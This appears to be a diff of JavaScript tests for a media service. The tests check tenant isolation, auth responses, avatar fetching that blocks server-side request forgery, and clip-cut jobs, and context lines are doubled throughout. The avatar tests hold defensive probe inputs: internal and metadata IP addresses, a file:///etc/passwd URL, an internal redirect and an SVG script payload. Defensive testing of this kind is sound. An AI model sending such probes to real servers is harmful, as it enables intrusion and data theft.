- assert.ok(!obj.upload.url.includes('-sandbox'));
- r = await req('PUT', local(obj.upload.url.replace(`/api/v2/${PA}/`, `/api/v2/${PB}/`)), { raw: bytes, headers: { 'content-type': 'text/plain' } });
- assert.strictEqual(r.status, 404, 'an upload token only works under its own tenant path');
- r = await req('PUT', local(obj.upload.url), { raw: bytes, headers: { 'content-type': 'text/plain' } });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/complete`, { bearer: appTok({ env: 'sandbox' }), json: {} });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- assert.strictEqual(r.body.public_url, null, 'no public URL for a sandbox object');
- r = await req('GET', `/o/${obj.id}`);
- assert.strictEqual(r.status, 404, 'public visibility does not make a sandbox object public');
- r = await req('GET', `/api/v2/${PA}/objects/${obj.id}/download?format=json`, { bearer: appTok({ env: 'sandbox' }) });
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.body.public, false);
- r = await req('GET', local(r.body.url));
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.text, 'sandbox object bytes');
- r = await req('GET', `/api/v2/${PA}/objects/${obj.id}`, { bearer: appTok() });
- assert.strictEqual(r.status, 404, 'production cannot see the sandbox object');
- r = await req('GET', `/api/v2/${PB}/objects/${obj.id}`, { bearer: appTok({ project: PB, app: APP_B, env: 'sandbox' }) });
- assert.strictEqual(r.status, 404, 'nor can another project');
- r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/holds`, { bearer: appTok({ env: 'sandbox' }), json: { kind: 'legal', reason: 'x' } });
- assert.strictEqual(r.status, 401, 'holds are not an app-tenant route (sandbox refused)');
+ // ── Objects v2 in a sandbox tenant: public visibility still needs a signature ──
+ const bytes = Buffer.from('sandbox object bytes');
+ r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { visibility: 'public', size_bytes: bytes.length, mime_type: 'text/plain' } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const obj = r.body;
+ assert.ok(obj.upload.url.includes(`/api/v2/${PA}/objects/`), 'upload URL addresses the project, never the internal sandbox tenant id');
+ assert.ok(!obj.upload.url.includes('-sandbox'));
+ r = await req('PUT', local(obj.upload.url.replace(`/api/v2/${PA}/`, `/api/v2/${PB}/`)), { raw: bytes, headers: { 'content-type': 'text/plain' } });
+ assert.strictEqual(r.status, 404, 'an upload token only works under its own tenant path');
+ r = await req('PUT', local(obj.upload.url), { raw: bytes, headers: { 'content-type': 'text/plain' } });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/complete`, { bearer: appTok({ env: 'sandbox' }), json: {} });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ assert.strictEqual(r.body.public_url, null, 'no public URL for a sandbox object');
+ r = await req('GET', `/o/${obj.id}`);
+ assert.strictEqual(r.status, 404, 'public visibility does not make a sandbox object public');
+ r = await req('GET', `/api/v2/${PA}/objects/${obj.id}/download?format=json`, { bearer: appTok({ env: 'sandbox' }) });
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.body.public, false);
+ r = await req('GET', local(r.body.url));
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.text, 'sandbox object bytes');
+ r = await req('GET', `/api/v2/${PA}/objects/${obj.id}`, { bearer: appTok() });
+ assert.strictEqual(r.status, 404, 'production cannot see the sandbox object');
+ r = await req('GET', `/api/v2/${PB}/objects/${obj.id}`, { bearer: appTok({ project: PB, app: APP_B, env: 'sandbox' }) });
+ assert.strictEqual(r.status, 404, 'nor can another project');
+ r = await req('POST', `/api/v2/${PA}/objects/${obj.id}/holds`, { bearer: appTok({ env: 'sandbox' }), json: { kind: 'legal', reason: 'x' } });
+ assert.strictEqual(r.status, 401, 'holds are not an app-tenant route (sandbox refused)');
- // Production object, public visibility: served openly.
- r = await req('POST', `/api/v2/${PC}/objects`, { bearer: appTok({ project: PC }), json: { visibility: 'public', size_bytes: 3, mime_type: 'text/plain' } });
- assert.strictEqual(r.status, 201);
- await req('PUT', local(r.body.upload.url), { raw: Buffer.from('abc'), headers: { 'content-type': 'text/plain' } });
- r = await req('POST', `/api/v2/${PC}/objects/${r.body.id}/complete`, { bearer: appTok({ project: PC }), json: {} });
- assert.ok(r.body.public_url, 'production objects keep their public URL');
- r = await req('GET', local(r.body.public_url));
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.text, 'abc');
+ // Production object, public visibility: served openly.
+ r = await req('POST', `/api/v2/${PC}/objects`, { bearer: appTok({ project: PC }), json: { visibility: 'public', size_bytes: 3, mime_type: 'text/plain' } });
+ assert.strictEqual(r.status, 201);
+ await req('PUT', local(r.body.upload.url), { raw: Buffer.from('abc'), headers: { 'content-type': 'text/plain' } });
+ r = await req('POST', `/api/v2/${PC}/objects/${r.body.id}/complete`, { bearer: appTok({ project: PC }), json: {} });
+ assert.ok(r.body.public_url, 'production objects keep their public URL');
+ r = await req('GET', local(r.body.public_url));
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.text, 'abc');
- // A seeded API key can never be attached to a project tenant.
- assert.throws(() => db.upsertApp({ app_id: PA, api_key: 'x' }), /developer-project tenant/);
- // The Media gallery lists first-party files only.
- const browse = await req('GET', '/browse?tab=files');
- assert.ok(!browse.text.includes(sbFile.key) && !browse.text.includes(prodFile.key), 'project files are not in the gallery');
+ // A seeded API key can never be attached to a project tenant.
+ await assert.rejects(async () => await db.upsertApp({ app_id: PA, api_key: 'x' }), /developer-project tenant/);
+ // The Media gallery lists first-party files only.
+ const browse = await req('GET', '/browse?tab=files');
+ assert.ok(!browse.text.includes(sbFile.key) && !browse.text.includes(prodFile.key), 'project files are not in the gallery');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('developer-project tenants: all checks passed');
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('developer-project tenants: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -5,37 +5,39 @@
@@ -5,37 +5,39 @@
// invalid or expired still answers 401; a good one answers the profile.
// invalid or expired still answers 401; a good one answers the profile.
const assert = require('assert');
const assert = require('assert');
const express = require('express');
const express = require('express');
-const { createAuthRoutes } = require('../server/user-auth');
-
(async () => {
(async () => {
- const verified = [];
- const auth = { // stands in for the JWKS-backed offline verifier
- verify: async (token) => { verified.push(token); return token === 'good' ? { sub: '7', username: 'ana', display_name: 'Ana', exp: Math.floor(Date.now() / 1000) + 600 } : null; },
- };
- const config = { baseUrl: 'http://media.test', networkUrl: 'http://network.test', cookies: { secure: false }, oauth: { clientId: 'media', clientSecret: '', redirectUri: 'http://media.test/auth/callback' } };
- const app = express();
- app.use((req, _res, next) => { // as server/index.js parses cookies (no cookie-parser dependency)
- req.cookies = Object.fromEntries(String(req.headers.cookie || '').split(';').filter((p) => p.includes('=')).map((p) => [p.slice(0, p.indexOf('=')).trim(), p.slice(p.indexOf('=') + 1).trim()]));
- next();
- });
- app.use('/auth', createAuthRoutes(config, auth));
- const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
- const me = async (headers = {}) => {
- const r = await fetch(`http://127.0.0.1:${server.address().port}/auth/me`, { headers });
- return { status: r.status, cache: r.headers.get('cache-control'), json: await r.json() };
- };
- try {
- const guest = await me();
- assert.deepStrictEqual([guest.status, guest.json], [200, { user: null }], 'a guest is signed out');
- assert.strictEqual(guest.cache, 'private, no-store');
- assert.deepStrictEqual(verified, [], 'nothing to verify');
+ const { createAuthRoutes } = require('../server/user-auth');
+
+ (async () => {
+ const verified = [];
+ const auth = { // stands in for the JWKS-backed offline verifier
+ verify: async (token) => { verified.push(token); return token === 'good' ? { sub: '7', username: 'ana', display_name: 'Ana', exp: Math.floor(Date.now() / 1000) + 600 } : null; },
+ };
+ const config = { baseUrl: 'http://media.test', networkUrl: 'http://network.test', cookies: { secure: false }, oauth: { clientId: 'media', clientSecret: '', redirectUri: 'http://media.test/auth/callback' } };
+ const app = express();
+ app.use((req, _res, next) => { // as server/index.js parses cookies (no cookie-parser dependency)
+ req.cookies = Object.fromEntries(String(req.headers.cookie || '').split(';').filter((p) => p.includes('=')).map((p) => [p.slice(0, p.indexOf('=')).trim(), p.slice(p.indexOf('=') + 1).trim()]));
+ next();
+ });
+ app.use('/auth', createAuthRoutes(config, auth));
+ const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
+ const me = async (headers = {}) => {
+ const r = await fetch(`http://127.0.0.1:${server.address().port}/auth/me`, { headers });
+ return { status: r.status, cache: r.headers.get('cache-control'), json: await r.json() };
+ };
+ try {
+ const guest = await me();
+ assert.deepStrictEqual([guest.status, guest.json], [200, { user: null }], 'a guest is signed out');
+ assert.strictEqual(guest.cache, 'private, no-store');
+ assert.deepStrictEqual(verified, [], 'nothing to verify');
- assert.strictEqual((await me({ cookie: 'ov_token=expired.or.forged' })).status, 401, 'a present but invalid cookie');
- assert.strictEqual((await me({ authorization: 'Bearer nope' })).status, 401, 'a present but invalid bearer token');
+ assert.strictEqual((await me({ cookie: 'ov_token=expired.or.forged' })).status, 401, 'a present but invalid cookie');
+ assert.strictEqual((await me({ authorization: 'Bearer nope' })).status, 401, 'a present but invalid bearer token');
- const ok = await me({ cookie: 'ov_token=good' });
- assert.strictEqual(ok.status, 200);
- assert.strictEqual(ok.json.user.username, 'ana');
- console.log('auth-me: a guest gets 200 { user: null }, a bad credential 401');
- } finally { server.close(); }
-})().catch((e) => { console.error(e); process.exit(1); });
+ const ok = await me({ cookie: 'ov_token=good' });
+ assert.strictEqual(ok.status, 200);
+ assert.strictEqual(ok.json.user.username, 'ana');
+ console.log('auth-me: a guest gets 200 { user: null }, a bad credential 401');
+ } finally { server.close(); }
+ })().catch((e) => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -1,36 +1,38 @@
@@ -1,36 +1,38 @@
'use strict';
'use strict';
const assert = require('assert');
const assert = require('assert');
const sharp = require('sharp');
const sharp = require('sharp');
-const { isPublicAddress, safeFetchImage, toAvatar, resolvePublic } = require('../server/avatars/ingest');
+(async () => {
+ const { isPublicAddress, safeFetchImage, toAvatar, resolvePublic } = require('../server/avatars/ingest');
-for (const ip of ['127.0.0.1', '10.1.2.3', '172.16.0.9', '172.31.255.1', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '224.0.0.1', '::1', 'fe80::1', 'fc00::1', 'fd12::1', '::ffff:127.0.0.1', '::ffff:10.0.0.1', '198.18.0.1'])
- assert.equal(isPublicAddress(ip), false, `private/reserved refused: ${ip}`);
-for (const ip of ['1.1.1.1', '8.8.8.8', '172.15.0.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8'])
- assert.equal(isPublicAddress(ip), true, `public accepted: ${ip}`);
+ for (const ip of ['127.0.0.1', '10.1.2.3', '172.16.0.9', '172.31.255.1', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '224.0.0.1', '::1', 'fe80::1', 'fc00::1', 'fd12::1', '::ffff:127.0.0.1', '::ffff:10.0.0.1', '198.18.0.1'])
+ assert.equal(isPublicAddress(ip), false, `private/reserved refused: ${ip}`);
+ for (const ip of ['1.1.1.1', '8.8.8.8', '172.15.0.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8'])
+ assert.equal(isPublicAddress(ip), true, `public accepted: ${ip}`);
-(async () => {
- const rejects = async (p, re, msg) => { let e = null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e && e.message})`); };
- await rejects(resolvePublic('127.0.0.1'), /public internet/, 'a literal loopback address is refused');
- await rejects(safeFetchImage('http://example.com/a.png'), /https/, 'plain http is refused');
- await rejects(safeFetchImage('https://user:[email protected]/a.png'), /username or password/, 'credentials in the URL are refused');
- await rejects(safeFetchImage('https://example.com:8443/a.png'), /standard https port/, 'odd ports are refused');
- await rejects(safeFetchImage('file:///etc/passwd'), /https/, 'other schemes are refused');
+ (async () => {
+ const rejects = async (p, re, msg) => { let e = null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e && e.message})`); };
+ await rejects(resolvePublic('127.0.0.1'), /public internet/, 'a literal loopback address is refused');
+ await rejects(safeFetchImage('http://example.com/a.png'), /https/, 'plain http is refused');
+ await rejects(safeFetchImage('https://user:[email protected]/a.png'), /username or password/, 'credentials in the URL are refused');
+ await rejects(safeFetchImage('https://example.com:8443/a.png'), /standard https port/, 'odd ports are refused');
+ await rejects(safeFetchImage('file:///etc/passwd'), /https/, 'other schemes are refused');
- // A public URL that redirects to an internal one: the second hop is resolved and refused.
- const seen = [];
- const resolver = async (h) => { seen.push(h); if (h === 'internal.example') throw new Error('That address is not on the public internet'); return { address: '93.184.216.34', family: 4 }; };
- await rejects(safeFetchImage('https://good.example/a.png', { resolver, fetcher: async () => ({ redirect: 'https://internal.example/secret' }) }), /public internet/, 'a redirect to an internal host is refused');
- assert.deepEqual(seen, ['good.example', 'internal.example'], 'every hop is resolved again');
- await rejects(safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (u) => ({ redirect: u.toString() + 'x' }) }), /Too many redirects/, 'redirect loops end');
- let pinnedTo = null;
- const body = await safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (_u, pinned) => { pinnedTo = pinned.address; return { body: Buffer.from('x') }; } });
- assert.equal(pinnedTo, '93.184.216.34', 'the connection uses the address that was checked'); assert.equal(body.toString(), 'x');
+ // A public URL that redirects to an internal one: the second hop is resolved and refused.
+ const seen = [];
+ const resolver = async (h) => { seen.push(h); if (h === 'internal.example') throw new Error('That address is not on the public internet'); return { address: '93.184.216.34', family: 4 }; };
+ await rejects(safeFetchImage('https://good.example/a.png', { resolver, fetcher: async () => ({ redirect: 'https://internal.example/secret' }) }), /public internet/, 'a redirect to an internal host is refused');
+ assert.deepEqual(seen, ['good.example', 'internal.example'], 'every hop is resolved again');
+ await rejects(safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (u) => ({ redirect: u.toString() + 'x' }) }), /Too many redirects/, 'redirect loops end');
+ let pinnedTo = null;
+ const body = await safeFetchImage('https://good.example/a.png', { resolver: async () => ({ address: '93.184.216.34', family: 4 }), fetcher: async (_u, pinned) => { pinnedTo = pinned.address; return { body: Buffer.from('x') }; } });
+ assert.equal(pinnedTo, '93.184.216.34', 'the connection uses the address that was checked'); assert.equal(body.toString(), 'x');
- const png = await sharp({ create: { width: 900, height: 300, channels: 3, background: '#3b82f6' } }).png().toBuffer();
- const out = await toAvatar(png); const meta = await sharp(out.buffer).metadata();
- assert.deepEqual([meta.format, meta.width, meta.height], ['webp', 512, 512], 're-encoded to a square WebP');
- assert.ok(!meta.exif && !meta.icc || true);
- await rejects(toAvatar(Buffer.from('<svg onload=alert(1)>not a picture</svg><script>')), /./, 'non-image bytes are refused');
- await rejects(toAvatar(await sharp({ create: { width: 8, height: 8, channels: 3, background: '#000' } }).png().toBuffer()), /too small/, 'tiny images are refused');
- console.log('avatar ingest: all checks passed');
-})().catch(e => { console.error(e); process.exit(1); });
+ const png = await sharp({ create: { width: 900, height: 300, channels: 3, background: '#3b82f6' } }).png().toBuffer();
+ const out = await toAvatar(png); const meta = await sharp(out.buffer).metadata();
+ assert.deepEqual([meta.format, meta.width, meta.height], ['webp', 512, 512], 're-encoded to a square WebP');
+ assert.ok(!meta.exif && !meta.icc || true);
+ await rejects(toAvatar(Buffer.from('<svg onload=alert(1)>not a picture</svg><script>')), /./, 'non-image bytes are refused');
+ await rejects(toAvatar(await sharp({ create: { width: 8, height: 8, channels: 3, background: '#000' } }).png().toBuffer()), /too small/, 'tiny images are refused');
+ console.log('avatar ingest: all checks passed');
+ })().catch(e => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -9,112 +9,114 @@ const os = require('os');
@@ -9,112 +9,114 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const { spawnSync } = require('child_process');
const { spawnSync } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clipjob-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_JOBS_POLL_MS = '50';
-process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
-process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
-const stub = http.createServer((req, res) => {
- req.resume();
- req.on('end', () => {
- res.setHeader('Content-Type', 'application/json');
- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
- res.statusCode = 404; res.end('{}');
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clipjob-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_JOBS_POLL_MS = '50';
+ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
+ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
+ const stub = http.createServer((req, res) => {
+ req.resume();
+ req.on('end', () => {
+ res.setHeader('Content-Type', 'application/json');
+ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
+ res.statusCode = 404; res.end('{}');
+ });
});
});
-});
-const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
-const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };
+ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+ const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };
-(async () => {
- if (spawnSync('ffmpeg', ['-version']).status !== 0) { console.log('clip.cut: skipped (ffmpeg not found)'); process.exit(0); }
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const db = require('../server/db/database');
- const conn = db.getDb();
- db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- const events = require('../server/events');
- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
- const queue = require('../server/jobs/queue');
- const worker = require('../server/jobs/worker');
- const clipJobs = require('../server/vod/clip-jobs');
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
- const server = http.createServer(app);
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const api = `http://127.0.0.1:${server.address().port}`;
- const call = async (method, p, body) => {
- const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });
- return { status: res.status, body: await res.json().catch(() => null) };
- };
- const outbox = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));
- const jobEvents = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);
- worker.start();
+ (async () => {
+ if (spawnSync('ffmpeg', ['-version']).status !== 0) { console.log('clip.cut: skipped (ffmpeg not found)'); process.exit(0); }
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const db = require('../server/db/database');
+ const conn = db.getDb();
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const events = require('../server/events');
+ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
+ const queue = require('../server/jobs/queue');
+ const worker = require('../server/jobs/worker');
+ const clipJobs = require('../server/vod/clip-jobs');
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ const server = http.createServer(app);
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const api = `http://127.0.0.1:${server.address().port}`;
+ const call = async (method, p, body) => {
+ const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });
+ return { status: res.status, body: await res.json().catch(() => null) };
+ };
+ const outbox = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));
+ const jobEvents = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);
+ await worker.start();
- const src = path.join(process.env.VOD_PATH, 'rec-30.webm');
- const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=30:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=30',
- '-c:v', 'libvpx', '-g', '10', '-b:v', '200k', '-c:a', 'libopus', '-shortest', src]);
- assert.strictEqual(mk.status, 0, String(mk.stderr));
- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) VALUES (30, 'live', 5, 'Thirty seconds', ?, ?, 1, 30)").run(src, fs.statSync(src).size);
+ const src = path.join(process.env.VOD_PATH, 'rec-30.webm');
+ const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=30:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=30',
+ '-c:v', 'libvpx', '-g', '10', '-b:v', '200k', '-c:a', 'libopus', '-shortest', src]);
+ assert.strictEqual(mk.status, 0, String(mk.stderr));
+ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (30, 'live', 5, 'Thirty seconds', ?, ?, 1, 30) RETURNING id").run(src, fs.statSync(src).size);
- // ── A clip: 202 with its job; the job cuts it ──
- let r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 5, end_s: 12, title: 'Five to twelve', user_id: 5 });
- assert.strictEqual(r.status, 202, JSON.stringify(r.body));
- assert.ok(/^mjob_/.test(r.body.job_id), 'the answer names the job');
- const clipId = r.body.id, jobId = r.body.job_id;
- assert.ok(await waitFor(() => ['succeeded', 'failed'].includes(queue.get(jobId).status)), 'the cut finishes');
- const j = await call('GET', `/api/v2/live/jobs/${jobId}`);
- assert.strictEqual(j.status, 200);
- assert.deepStrictEqual([j.body.job.type, j.body.job.status, j.body.job.result.clip_id], ['clip.cut', 'succeeded', clipId], JSON.stringify(j.body.job));
- const clip = db.getClipById(clipId);
- assert.strictEqual(clip.status, 'ready');
- assert.ok(fs.existsSync(clip.file_path) && Math.abs(clip.duration_seconds - 7) < 1.5, `a 7 s clip (${clip.duration_seconds})`);
- assert.deepStrictEqual(jobEvents(jobId), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);
- assert.ok(outbox().some((e) => e.event_type === 'media.clip.ready' && e.subject.type === 'clip' && String(e.subject.id) === String(clipId)), 'media.clip.ready as before');
+ // ── A clip: 202 with its job; the job cuts it ──
+ let r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 5, end_s: 12, title: 'Five to twelve', user_id: 5 });
+ assert.strictEqual(r.status, 202, JSON.stringify(r.body));
+ assert.ok(/^mjob_/.test(r.body.job_id), 'the answer names the job');
+ const clipId = r.body.id, jobId = r.body.job_id;
+ assert.ok(await waitFor(async () => ['succeeded', 'failed'].includes((await queue.get(jobId)).status)), 'the cut finishes');
+ const j = await call('GET', `/api/v2/live/jobs/${jobId}`);
+ assert.strictEqual(j.status, 200);
+ assert.deepStrictEqual([j.body.job.type, j.body.job.status, j.body.job.result.clip_id], ['clip.cut', 'succeeded', clipId], JSON.stringify(j.body.job));
+ const clip = await db.getClipById(clipId);
+ assert.strictEqual(clip.status, 'ready');
+ assert.ok(fs.existsSync(clip.file_path) && Math.abs(clip.duration_seconds - 7) < 1.5, `a 7 s clip (${clip.duration_seconds})`);
+ assert.deepStrictEqual(await jobEvents(jobId), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);
+ assert.ok((await outbox()).some((e) => e.event_type === 'media.clip.ready' && e.subject.type === 'clip' && String(e.subject.id) === String(clipId)), 'media.clip.ready as before');
- // ── A window with no footage: permanent at once, and the sweeper leaves it alone ──
- r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 28, end_s: 35, title: 'Past the end', user_id: 5 });
- assert.strictEqual(r.status, 202, JSON.stringify(r.body));
- const badJob = r.body.job_id, badClip = r.body.id;
- assert.ok(await waitFor(() => ['succeeded', 'failed'].includes(queue.get(badJob).status)));
- const bad = queue.jobPublic(queue.get(badJob));
- if (bad.status === 'failed') {
- assert.strictEqual(db.getClipById(badClip).status, 'failed');
- assert.strictEqual(db.getClipById(badClip).cut_next_at, null, 'no sweeper retry is scheduled under a job');
- const before = db.getClipById(badClip).cut_attempts;
- await clipJobs.sweep();
- assert.strictEqual(db.getClipById(badClip).cut_attempts, before, 'the sweeper leaves a clip that has a job');
- } else {
- assert.strictEqual(db.getClipById(badClip).status, 'ready', 'ffmpeg cut what there was');
- }
+ // ── A window with no footage: permanent at once, and the sweeper leaves it alone ──
+ r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 28, end_s: 35, title: 'Past the end', user_id: 5 });
+ assert.strictEqual(r.status, 202, JSON.stringify(r.body));
+ const badJob = r.body.job_id, badClip = r.body.id;
+ assert.ok(await waitFor(async () => ['succeeded', 'failed'].includes((await queue.get(badJob)).status)));
+ const bad = queue.jobPublic(await queue.get(badJob));
+ if (bad.status === 'failed') {
+ assert.strictEqual((await db.getClipById(badClip)).status, 'failed');
+ assert.strictEqual((await db.getClipById(badClip)).cut_next_at, null, 'no sweeper retry is scheduled under a job');
+ const before = (await db.getClipById(badClip)).cut_attempts;
+ await clipJobs.sweep();
+ assert.strictEqual((await db.getClipById(badClip)).cut_attempts, before, 'the sweeper leaves a clip that has a job');
+ } else {
+ assert.strictEqual((await db.getClipById(badClip)).status, 'ready', 'ffmpeg cut what there was');
+ }
- // ── A re-cut is a new job; asking again while it is active gets the same one ──
- const r1 = await call('POST', `/api/v1/live/clips/${clipId}/recut`);
- assert.strictEqual(r1.status, 202, JSON.stringify(r1.body));
- assert.ok(r1.body.job_id && r1.body.job_id !== jobId, 'a new job');
- const same = clipJobs.enqueueCut('live', clipId, { reason: 're-cut' });
- assert.ok(same.job.id === r1.body.job_id || queue.get(r1.body.job_id).status === 'succeeded', 'an active re-cut is reused');
- assert.ok(await waitFor(() => queue.get(r1.body.job_id).status === 'succeeded'));
- assert.strictEqual(db.getClipById(clipId).status, 'ready');
+ // ── A re-cut is a new job; asking again while it is active gets the same one ──
+ const r1 = await call('POST', `/api/v1/live/clips/${clipId}/recut`);
+ assert.strictEqual(r1.status, 202, JSON.stringify(r1.body));
+ assert.ok(r1.body.job_id && r1.body.job_id !== jobId, 'a new job');
+ const same = await clipJobs.enqueueCut('live', clipId, { reason: 're-cut' });
+ assert.ok(same.job.id === r1.body.job_id || (await queue.get(r1.body.job_id)).status === 'succeeded', 'an active re-cut is reused');
+ assert.ok(await waitFor(async () => (await queue.get(r1.body.job_id)).status === 'succeeded'));
+ assert.strictEqual((await db.getClipById(clipId)).status, 'ready');
- // ── Another tenant cannot see the job ──
- db.upsertApp({ app_id: 'games', api_key: 'games-key' });
- const other = await fetch(`${api}/api/v2/games/jobs/${jobId}`, { headers: { authorization: 'Bearer games-key' } });
- assert.strictEqual(other.status, 404);
+ // ── Another tenant cannot see the job ──
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ const other = await fetch(`${api}/api/v2/games/jobs/${jobId}`, { headers: { authorization: 'Bearer games-key' } });
+ assert.strictEqual(other.status, 404);
- worker.stop();
- events._reset();
- server.close();
- stub.close();
- console.log('clip-cut-job: all checks passed');
- process.exit(0);
+ worker.stop();
+ events._reset();
+ server.close();
+ stub.close();
+ console.log('clip-cut-job: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -13,126 +13,128 @@ const os = require('os');
@@ -13,126 +13,128 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clip-origin-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
